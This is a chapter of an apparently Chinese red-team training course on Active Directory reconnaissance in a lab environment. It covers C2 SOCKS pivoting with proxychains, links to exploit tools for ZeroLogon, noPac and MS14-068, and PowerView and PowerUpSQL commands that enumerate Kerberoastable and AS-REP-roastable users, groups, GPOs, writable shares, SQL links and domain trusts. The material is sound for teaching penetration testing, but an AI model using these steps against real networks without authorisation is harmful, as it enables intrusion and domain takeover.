# 章节7：域侦查



# 历史 CVE 漏洞

在进入域环境后，我们就可以对域进行侦查与枚举了。域是个很庞大的设施，有诸多信息需要我们去提取和枚举，一开始我们可能会觉得有些手足无措，但只要我们梳理好顺序与思路，就不会错过重要的线索。

我一直坚持，枚举和利用总是从最简单的做起，即 low hanging fruit。对于一个保持系统更新的企业域环境来说，想通过 1 个 CVE 漏洞一键接管是较难遇到的事情了，虽然有一些辅助性的漏洞或者默认配置（例如未开启LDAP签名、频道绑定）可以协助我们对单个主机进行执行远程代码或者特权提升。但另一方面，企业并非总是时刻保持域服务器的更新，因此容易受到一些历史 CVE 漏洞影响，尤其是近两年的。这些漏洞，能帮助拿下多个主机，甚至一键接管整个域乃至森林。

#### **配置 SOCKS**

在枚举这些漏洞的存在之前，在任意一个 Beacon 交互中执行 **socks 1080** 命令，这会在我们的 C2 服务器上开启 **1080** 端口。关于 SOCKS 代理的细节，我们会在后面的章节更详细地介绍。因为这些 CVE 漏洞的扫描或者利用 PoC 有的是以 **Python** 脚本的形式，我们会想在 VPS 上通过 SOCKS 将流量转发过去。如果 PoC 是 **.NET** 程序或者 **BOF** 的形式，那自然是更好的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/yVDOe0cuHIv0DbKV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/yVDOe0cuHIv0DbKV-image.png)

安装 **proxychains**，如果系统中还没有安装的话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ra4VF5pdnxKgShOP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ra4VF5pdnxKgShOP-image.png)

编辑 **/etc/proxychains.conf**

```shell
strict_chain
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 	127.0.0.1 1080

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/YNny87pa7OnfIrZd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/YNny87pa7OnfIrZd-image.png)

使用 **nmap** 测试对靶场内部主机的连通性：**proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445**

```shell
ubuntu@ts:~$ proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:54 UTC
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:139-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:135-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:445-<><>-OK
Nmap scan report for ip-172-16-1-52.ec2.internal (172.16.1.52)
Host is up (0.76s latency).

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

```

#### **CVE-2022-26923 证书服务提权漏洞**

低权限的域用户在默认的 AD 以及 ADCS 环境中可以提升至域管理员特权。该漏洞需要多个工具组合利用，因为似乎暂时没有一键扫描或利用脚本，在后续章节我们会讲手动利用的具体过程。

#### **CVE-2020-1472 ZeroLogon 漏洞**

因为脆弱的密码学设计，攻击者可以模仿任何域主机，包括域控制器，以实现提权。脚本 ([https://github.com/SecuraBV/CVE-2020-1472)](https://github.com/SecuraBV/CVE-2020-1472)) 可用于测试目标域是否受该漏洞影响。我们可以使用 .NET 版本的工具 ([https://github.com/leitosama/SharpZeroLogon/tree/main](https://github.com/leitosama/SharpZeroLogon/tree/main)) 来测试和利用。该漏洞不需要认证或者明文凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KtyijchuaAWyQJNM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KtyijchuaAWyQJNM-image.png)

我们甚至能跨域对 dc01 进行检测：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/i1UrBEgEc6MLzQuN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/i1UrBEgEc6MLzQuN-image.png)

#### **CVE-2021-42278 NoPAC 漏洞**

该漏洞实际上利用了主机账号的伪造，攻击者可以从普通用户提升为域管理员。脚本 ([https://github.com/Ridter/noPac](https://github.com/Ridter/noPac)) 可用于检测以及利用该漏洞。但这里，我发现了个 .NET 编写的检测与利用工具 ([https://github.com/cube0x0/noPac](https://github.com/cube0x0/noPac))，下载后打开该项目，将 Main 函数公开化，编译。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sLxYb7xkP7PSlNvv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sLxYb7xkP7PSlNvv-image.png)

将 exe 文件转移到 VPS 上。我们使用 execute-assembly 执行该工具。我们需要提供一个有效的账户，正好我们之前在 Web02 上找到了 serveradm 用户的明文凭证。

根据输出结果，**white-bird.local** 的域控具有 noPAC 的漏洞，我们在持有一个有效账户的情况下可以一键域内提权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/TMVclDjhxDXJB0Ln-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/TMVclDjhxDXJB0Ln-image.png)

#### **MS14-068**

因为KDC对于伪造票据签名的失败校验，攻击者可以模仿域管理员从而接管域。我们可以使用脚本 ([https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py)) 对受影响的主机进行利用。考虑到该漏洞较为久远，且靶场的主机都是 Windows 2019，理论上不会存在该漏洞，我们就不进行尝试了。

# 用户与组

用户与组是域的重要组成部分，并且组是用户的容器，在同一个组里的用户具有特定的相同属性。对于用户和组的枚举，自然是我们首先要做的，因为很多漏洞和不当配置的利用都是围绕着用户与组、主机、服务等展开的。

### **准备工作**

我们可以使用多种工具对域内的用于和组进行枚举，这里，我们使用 **PowerView** 脚本。我们可以通过 **powershell-import** 导入脚本，然后使用 **powershell** 或者 **powerpick** 命令进行脚本命令执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/fOl7BLMrVKwI5Hts-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/fOl7BLMrVKwI5Hts-image.png)

**Web02** 在 **white-bird.local** 域中，我们可以进而对该域进行枚举。虽然我们还没有正式学到域信任的概念，在课程介绍阶段，大家了解到 **white-bird.local** 与 **raven-med.local** 域互相信任，当然也包括了 Web01 主机所在的 **prod** 子域。简单来说，可以互相访问对方域的资源，至少可以枚举对方域的域信息。例如，我们在 Web02 主机上以 **white-bird\\serveradm** 的身份枚举到了 PROD 域中的所有域用户的账户名称，通过 **-domain** 指定要枚举的域。Web01 是一台 Linux 的域主机，如果一些学员对在 Linux 域主机的枚举还不熟悉的话，我们可以以这样的方式跨域枚举。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LDSbjsEvBKrT8K6U-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LDSbjsEvBKrT8K6U-image.png)

好了，补充了工具用法与简单的理论知识，我们来枚举域的用户与群组信息。

### **用户的枚举**

在枚举域用户的时候，我们需要关注以下这些属性：

##### **用户描述**

虽然很多时候用户描述可能是空白的，但如果不是空白的话，用户描述可能会揭露域用户的角色。 如服务器管理员、开发人员等。

```powershell
Get-NetUser | select description
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LiwSbfR0e9rh1dhl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LiwSbfR0e9rh1dhl-image.png)

我们没有发现什么特别的，然后看看 **raven-med.local** 域的：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/6MfKbkncDn9xVIt1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/6MfKbkncDn9xVIt1-image.png)

我们发现 **simon** 的描述是 **CA Manager**，这也许意味着 **simon** 具有 **CA** 相关的权限，我们发现 **simon** 是分组 **CertManager** 的成员。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/51OZvJFbsbB27Ajc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/51OZvJFbsbB27Ajc-image.png)

##### **预认证**

如果某些域用户禁用了预认证 ，我们可以使用 **ASREPRoasting** 攻击他们并获取 **krb5asrep** 哈希。 如果幸运的话，我们有可能离线破解这些哈希并获得明文凭证。在现代化的 **AD** 环境中，已经没有必要禁用预认证了，从安全与防御的角度出发，系统管理员应当给所有账户开启域认证。

```powershell
Get-NetUser -PreAuthNotRequired
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/u9TRd9JmcbSR8YSF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/u9TRd9JmcbSR8YSF-image.png)

在当前域，是没有符合条件的用户存在的，看看其他的域，发现了用户 jason 不需要预认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/IbEj0Tu5iSNrQVFJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/IbEj0Tu5iSNrQVFJ-image.png)

##### **SPN**

如果一个域用户被设置了SPN，那么它是一个**服务帐号**。我们可以对它们进行 **Kerberoasting** 攻击并获取 **krb5tgs** 哈希。 如果幸运的话，我们可能离线破解这些哈希并获得用户的明文凭证。

```powershell
Get-NetUser -SPN
```

我们发现，账户 **sql\_service** 与 **krbtgt** 被设置了 **SPN**。**sql\_service** 看起来就是一个 SQL 的服务账户，而 krbtgt 总是会被设置 SPN，但实际并不可利用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0MpLR7oCRtDYlxO6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0MpLR7oCRtDYlxO6-image.png)

##### **组归属**

每个域用户至少属于“**域用户**”组，但如果有任何域用户属于多个组，那么他们往往可能具有特别的权限，例如可以访问某台主机上的共享目录。

```powershell
Get-NetUser | select samaccountname,memberof
```

更适合通过 **BloodHound** (后续内容介绍) 查看成员与组的关系。

我们以当前用户 **serveradm** 为例，发现其来自群组 **Server Admin**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ZAIeDJclQqYh4tss-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ZAIeDJclQqYh4tss-image.png)

查看 **Server Admin** 群组信息，根据描述得知，该组成员可以管理 **Web02** 与 **Dev01** 主机，因此 **serveradm** 可能对这 **2** 个主机具有远程访问权限，甚至最高权限 (root 和 Administrator)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/47OqU1YVhEUnsA7T-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/47OqU1YVhEUnsA7T-image.png)

##### **外部成员**

如果一个外部成员被拿下了，我们可借此移动到该外部成员原来所在的域。

```powershell
Get-DomainForeignUser
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kAuUpxHWsnlnKYno-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kAuUpxHWsnlnKYno-image.png)

在我们可访问的域里，并没有发现外部成员。但是，我们发现，**raven-med.local** 中的用户 **michael**，在名为 **ExtAdmin** 的分组中。**ExtAdmin** 让人联想到 **External Administrator**，那么会不会代表 **michael** 在其他一个我们目前无法访问的域里充当着外部成员呢？这个只能在我们获得了更多的系统和域后验证了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bbg8ueC5L3hNJkkd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bbg8ueC5L3hNJkkd-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/VcBcZtcGkgvdtpzu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/VcBcZtcGkgvdtpzu-image.png)

### **组的枚举**

而在枚举组的时候，我们需要关注一下这些

##### **组描述**

类似于用户描述。不过有很多组是内置的，因此描述也是统一的。

```powershell
Get-NetGroup | select samaccountname,description
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0Vnu3dk9iLyyDKOr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0Vnu3dk9iLyyDKOr-image.png)

我们查看 **raven-medicine.local** 域中的 **Cert Manager** 组的描述：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/xAMOJRjp43zxX5xY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/xAMOJRjp43zxX5xY-image.png)

##### **组类型**

如果一个组并非是内置的，而是自定义的，例如**Server Admins**，那么我们需要多关注一下，因为这个组可能具有特定的权限，例如对 SQL 服务器具备本地管理员权限。

在当前域中，我们已经查看过了自定义分组 **Server Admin** 了

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/WGshnzB2kMzjuspY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/WGshnzB2kMzjuspY-image.png)

在 PROD 域中，有 1 个自定义分组，**Security Team**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bPx4NaQyQ8F0PUVX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bPx4NaQyQ8F0PUVX-image.png)

例如在 raven-medicine.local 域中，有 2 个自定义的分组，**CertManager** 和 **ExtAdm**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/fdAR4FOMptJ0UXCe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/fdAR4FOMptJ0UXCe-image.png)

##### **外部组**

意义同外部成员。

```powershell
Get-DomainForeignGroupMember
```

我们没有在当前域中找到相关记录

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/E4nPzz1CVDGkCmWZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/E4nPzz1CVDGkCmWZ-image.png)

但是在 PROD 域中，我们找到了一些外部组，这是合理的，因为 PROD 和 RAVEN-MED 域是父子域。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/avOUxWTNS03QDSdA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/avOUxWTNS03QDSdA-image.png)

# 主机

主机是用户、服务的载体，清晰了解每个主机的作用十分重要。在进入域后，我们可以记下主机的 **IP**、**操作系统**、**FQDN** 等信息。

### **FQDN**

FQDN 的形式是 主机名与完整域名的接合，是在域内定位一台域主机的方法之一。在 PowerView 中，**dnshostname** 属性即主机的 FQDN。

```powershell
Get-NetComputer | select dnshostname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/rJwBKjfUQDZQ48Rn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/rJwBKjfUQDZQ48Rn-image.png)

当前域，有 3 个主机，其中 2 个为 Windows 主机，dev01 为 Linux 主机。

我们再看看其他域的情况：

**RAVEN-MED** 域有 **2** 个主机

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CY3gb59sdyYpczPB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CY3gb59sdyYpczPB-image.png)

**PROD** 域有 **4** 个主机

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/eTmVfkYbMZ2R3wUH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/eTmVfkYbMZ2R3wUH-image.png)

其实我们可以根据 FQDN 来推测目标主机在域中的作用和角色是什么。**web01**，**web02** 确实都是 Web 应用服务器，**file01** 推测是作为文件服务器。

####  

### **IP 地址**

除了 FQDN，在域内定位域主机的另一种方式则是 IP，我们可以使用 Windows 命令 nslookup.exe 来得到目标主机的 IP 地址。

```powershell
nslookup [主机名]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/8qWDBAkqDxOnGwaq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/8qWDBAkqDxOnGwaq-image.png)

我们可以指定 FQDN，查看其他域的域主机 IP。前提是 DNS 是相互同步的，通常在建立有域信任的情况下。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/9ffL1V72v7rZNIkx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/9ffL1V72v7rZNIkx-image.png)

###  

### **操作系统**

虽然活动目录原生为 Windows 系统打造，但后来，也增加了对 Linux，Mac 等系统的支持。我们的靶场里没有 Mac 系统主机，但有一些 Linux 系统主机，我们可以根据 **operatingsystem** 属性来查看。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/tfSENTVUyYaKh8aA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/tfSENTVUyYaKh8aA-image.png)

在 **PROD** 域中，也有一台 Linux 域主机：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/1sb0dD2atwbNRQmJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/1sb0dD2atwbNRQmJ-image.png)

##### **Windows 主机**

Windows 主机的属性更加复杂，因为 Windows 主机不仅作为主机，而且主机对应的主机帐号也享有着一些类似于用户帐号的特性。单纯作为主机而言，Windows 主机可以被设置委派、GPO 实施的对象等。我们在后续内容中详细展开。

##### **Linux 主机**

默认情况下，Linux 的域主机是允许 SSH 访问的，除非指定禁止特定用户访问。这点不像在 Windows 上，如果需要配置 RDP、WinRM访问，需要给用户单独设置特定权限。因此，有了明文凭证后，我们可以尝试使用域账户登录到 Linux 主机上。但系统管理员也可能会修改此默认配置。

```shell
root@ts:~# proxychains ssh serveradm@white-bird.local@172.16.1.53
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.53:22-<><>-OK
The authenticity of host '172.16.1.53 (172.16.1.53)' can't be established.
ECDSA key fingerprint is SHA256:P29afmXbT4KB5pYj0TbtWcjvEnMvl1ye0vYvFDf9UJE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.1.53' (ECDSA) to the list of known hosts.
serveradm@white-bird.local@172.16.1.53's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

serveradm@dev01:~$ whoami
serveradm

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bXdbrKgL8SDccDtD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bXdbrKgL8SDccDtD-image.png)

# OU 与 GPO

组织单元，即 **OU**，可以用来充当具有同样性质的一些对象的容器。例如，同为 **SQL 服务器**的 SRV01 与 SRV02 可以用 OU SQL\_Server 来存放。再比如，一家公司里，职位相同的一些员工如 HR 的帐号，由 OU HR 来盛放。

而 GPO 是一组定义了系统配置的设置， 并可作用于 OU。通过枚举 GPO，我们可以查看当前域对特定 OU 的特殊设置。我们可能不知道 GPO 的详细设置，但我们可以根据 GPO 名称或描述来推断它们的作用。GPO也可能有助于我们移动到其他机器。例如，GPO可以授予某些用户对特定计算机的 RDP 或 WinRM 访问权。

### **枚举OU**

我们枚举一下当前域的所有 OU:

```powershell
Get-DomainOU -Properties Name
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DDkrP1ilQpuBSR6R-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DDkrP1ilQpuBSR6R-image.png)

总共有 3 个 OU，其中 2 个是自定义的。而 PROD 域中则有多个自定义 OU，

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/dwQpSnW1VlTe6gL1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/dwQpSnW1VlTe6gL1-image.png)

我们查看一下 SQL Server 的详细信息，可惜并不能直接看出来包含哪些服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/EKcbOxTCCfxkmGCR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/EKcbOxTCCfxkmGCR-image.png)

我们可以用这么一个长命令得到指定 OU 所包含的内容：

```powershell
Get-DomainOU -domain prod.raven-med.local -identity "SQL Server" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}
```

PROD 域中的 SQL Server OU 包含了服务器 SRV01。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/dGlJ3xRq9n2ZV9r9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/dGlJ3xRq9n2ZV9r9-image.png)

### **枚举GPO**

接着，我们来枚举一下存在的 GPO

```powershell
Get-DomainGPO -Properties DisplayName
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kEMk7YiILhOnhmCk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kEMk7YiILhOnhmCk-image.png)

我们发现有一个自定义的 GPO DebugRemoval，查看一下它的详细信息：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RnQuHuVsqNNpk0aI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RnQuHuVsqNNpk0aI-image.png)

我们并没有看到类似于描述之类的属性，从名称也无法准确推测出该 GPO 的作用。那么，我们来查看一下 PROD 域的 GPO。在 PROD 域，存在更多自定义的 GPO，AppLocker 与 RunAsPPL 都是我们能根据名称推测出作用的 GPO。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/K0bD4defoF4MGuv7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/K0bD4defoF4MGuv7-image.png)

既然推测了 **AppLocker** 与 **RunAsPPL** 的作用，我们来查看一下它们的作用对象：

##### **作用于特定主机的所有 GPO**

如果我们的目标只是一台主机，我们可以直接查询作用于它的 GPO，我们以当前的 Web02 为例

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Oz9WUv7kgDQT39by-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Oz9WUv7kgDQT39by-image.png)

有 2 个 GPO 作用于 Web02 主机。

##### **特定 GPO 所作用的 OU**

```powershell
Get-DomainOU -gpLink "[GPO Name(序列号)]"
```

我们能看到，在 PROD 域中，**RunAsPPL** GPO 只作用于 **File Server** OU。该 OU 只有一台主机 **file01**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/gjJufmCZrvTMMExR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/gjJufmCZrvTMMExR-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sbH1Tm2ZVskFhxmy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sbH1Tm2ZVskFhxmy-image.png)

而 **BloodHound** 则可以显示出 OU 与 GPO 之间更直观的关系。

# 内部服务访问

我们在域内可以访问的其他服务也不可忽视，因为企业的域环境同时也是个内部网络。我们在一般内部网络渗透中会遇到的应用以及对应的攻击手法，在企业的域环境中依旧适用。诸如 FTP，SSH，HTTP(S) 等普通内网中就很常见的网络服务不再赘述，我们来讲在 AD 中更应当注意的内部服务，例如 **SMB** 与 **MSSQL**。

### **SMB**

如果拿下的的用户可以访问其他主机的 **C$** 或 **ADMIN$**，意味着该用户拥有对该计算机的本地管理员权限。除了 C$ 和 ADMIN$，还要注意任何**可读/可写**的共享目录，例如某个服务器开放 **dev** 共享目录，它可能存储着应用程序的源代码。

我们依旧可以用 PowerView 枚举域内所有 SMB 目录。我们既可以查看所有的共享目录，也可以查看对自己来说可以访问的。先来查看 white-bird 域内所有的 SMB 目录：

```powershell
Find-DomainShare
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hasp6oaBmWDcGcUZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hasp6oaBmWDcGcUZ-image.png)

枚举当前用户可以访问的共享目录，我们发现当前用户可以访问 WEB02 的 C$ 和 ADMIN$，这是理所当然的，因为 serveradm 对 WEB02 具有本地管理员特权。

```powershell
Find-DomainShare -CheckShareAccess
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/erJLRsMXmOht9nhV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/erJLRsMXmOht9nhV-image.png)

我们来分别查看一下 PROD 域的：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/g8Yfz8Szt2RIo11Q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/g8Yfz8Szt2RIo11Q-image.png)

其中，file01 的 **Tools** 共享目录是自定义的，看看这些共享目录中有哪些是可以直接访问的

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sLeMi7Nkq1WhZWUF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sLeMi7Nkq1WhZWUF-image.png)

很棒，该目录对于 **serveradm** 这样的域外用户都是可以访问的，看起来存储了一些工具。更令人惊喜的是，该共享目录还可写，那么显然是多了一条利用的道路。至于如何利用，我们会在后续章节讲解。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/cwE4X7MjlMQibA1y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/cwE4X7MjlMQibA1y-image.png)

###   
**MSSQL 服务器**

对于 MSSQL，只要我们具有特定权限，就能在其他主机上执行命令。关于 SQL Server 的利用，我们会在下一章做具体阐述。

我们需要先扫描内网段主机的 **1433** 端口，这是 MSSQL 的常用端口：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/uhoGH7mtiAB0IjeD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/uhoGH7mtiAB0IjeD-image.png)

一共有 3 个 MSSQL 实例，分别在 **172.16.1.14**，**172.16.1.42**，以及 **172.16.1.52** 主机上。

接下来，我们可以用 PowerUpSql 脚本枚举域内的 SQL 服务器，当前域有 1 台 SQL 服务器，即 Web02。

```powershell
Get-SQLInstanceDomain
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SR8K6zjQ7QAMZSZx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SR8K6zjQ7QAMZSZx-image.png)

测试对特定实例，即 Web02 上 SQL03 的访问，我们发现可以访问。

```powershell
Get-SQLConnectionTest -Instance [实例名]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bYX2E9a0lvFExE2h-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bYX2E9a0lvFExE2h-image.png)

获取 SQL 数据库实例信息，我们当前并不是 **Sysadmin** 权限。此外，还可以看到一些有关操作系统、SQL 版本、SPN 相关的信息。

```powershell
Get-SQLServerInfo -Instance [实例名]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/C9crKDeKn6G5CsIT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/C9crKDeKn6G5CsIT-image.png)

获取 SQL 数据库实例的链接，我们发现 SQL03 实例与 SRV02 上的 SQL02 实例互相连接

```powershell
Get-SQLServerLinkCrawl -Instance [实例名] 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/34I9Yk8LTGPTLdgp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/34I9Yk8LTGPTLdgp-image.png)

###   


### **其他**

实际上，还有其他一些的内网服务可以与 AD 进行无缝交互，例如 **IIS 服务器**、**Exchange**、**Jenkins** 等。在教材未来的更新中，我们争取加入更多这样的案例。

# 域信任

域信任决定了域与域之间对彼此的资源访问权限，尤其是当我们已经获得了当前域的域管理员，想移动到其他的域或森林里，利用域信任尤其必要。即便尚未获得当前域的域管理员，我们也可以枚举外部域的信息从而打开突破口，外部成员也可以给我们带来突破域的途径。

需要强调的是，域信任的方向与资源访问的方向是相反的，**域 A 信任 域 B**，那么 **域 B 中的主体可以访问 域 A 中的资源**。如果信任是双向的，则资源访问也是双向的。枚举域的信任是很直接的，我们只需要命令 **Get-DomainTrust**。接下来，我们讨论一下各种情况下的域信任。

```powershell
Get-DomainTrust -Domain [域]
```

###   


### **森林内信任**

也就是子域与父域、或者子域与另一个子域，信任总是双向的，我们可以利用黄金票据或者信任密钥进行横向移动。  
森林之间。

我们枚举 **PROD** 域的信任关系，发现它只与父域 **RAVEN-MED** 互相信任。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/97Uxw3io9mGAHAEs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/97Uxw3io9mGAHAEs-image.png)

但如果我们枚举 **RAVEN-MED** 域的信任关系，我们发现它不仅与子域 PROD 互相信任，还与别的域存在信任关系。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hmoOt4lnuhTUzoPy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hmoOt4lnuhTUzoPy-image.png)

那么 PROD 域与这些域间接地存在信任关系吗？这个其实需要看具体配置以及具体分析，森林间的信任在配置信任的时候可以设置成传递性的，也可以是非传递性的。但是，多个森林之间是不可传递的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DnSdYs8n7ybosnpm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DnSdYs8n7ybosnpm-image.png)

###   
**森林间双向信任**

我们可以看到当前域与森林 raven-medicine.local 是互相信任的，当然，与 prod.raven-medicine.local 也是。

